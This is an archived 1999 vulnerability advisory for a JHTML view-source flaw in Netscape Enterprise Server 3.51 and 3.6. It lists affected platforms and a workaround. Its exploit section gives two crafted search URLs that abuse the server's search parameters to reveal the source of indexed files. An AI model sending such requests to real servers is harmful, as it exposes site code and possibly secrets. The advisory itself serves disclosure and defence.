Netscape Enterpise Server JHTML View Source Vulnerability

BID:559

Info

Netscape Enterpise Server JHTML View Source Vulnerability

Bugtraq ID: 559
Class: Design Error
CVE: CVE-1999-1130
Remote: Yes
Local: Yes
Published: Jul 30 1999 12:00AM
Updated: Jul 11 2009 12:56AM
Credit: Vulnerability posted to Bugtraq July 30, 1999 by David Litchfield <[email protected]>.
Vulnerable: Netscape Enterprise Server 3.51
- Digital UNIX 4.0 D
- HP HP-UX 10.10
- IBM AIX 4.1.5
- Microsoft Windows NT 4.0
- SGI IRIX 6.2
- Sun Solaris 2.5.1
Netscape Enterprise Server 3.6
- Compaq Tru64 4.0 d
- Digital UNIX 4.0 B
- HP HP-UX 11.0
- IBM AIX 4.2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0
- SGI IRIX 6.5
- SGI IRIX 6.2
- Sun Solaris 2.5.1
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
Not Vulnerable:

Exploit / POC

Netscape Enterpise Server JHTML View Source Vulnerability

These example URLs may be wrapped for readability: (copied verbatim from David Litchfield's post to Bugtraq)
h t t p://no-such-server/search?NS-search-page=results&amp;NS-query=A&amp;NS-collection=B&amp;NS-tocrec-pat=/text/HTML-tocrec-demo1.pat
where A is the query e.g. the word "that" and B is the collection e.g. "Web+Publish" or "web_htm".
-OR-
h t t p://no-such-server/search?NS-search-page=document&amp;NS-rel-doc-name=/path/to/indexed/file.jhtml&amp;NS-query=URI!=''&amp;NS-collection=A
where A is the collection without having to go through the rigmarole of playing around with HTML-tocrec-demo1.pat in the URL.

Solution / Fix

Netscape Enterpise Server JHTML View Source Vulnerability

Solution:
A work-around is to keep all active content in an unindexed directory, and if you do not explicitly require the search engine functionality it should be disabled.

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Netscape Enterpise Server JHTML View Source Vulnerability

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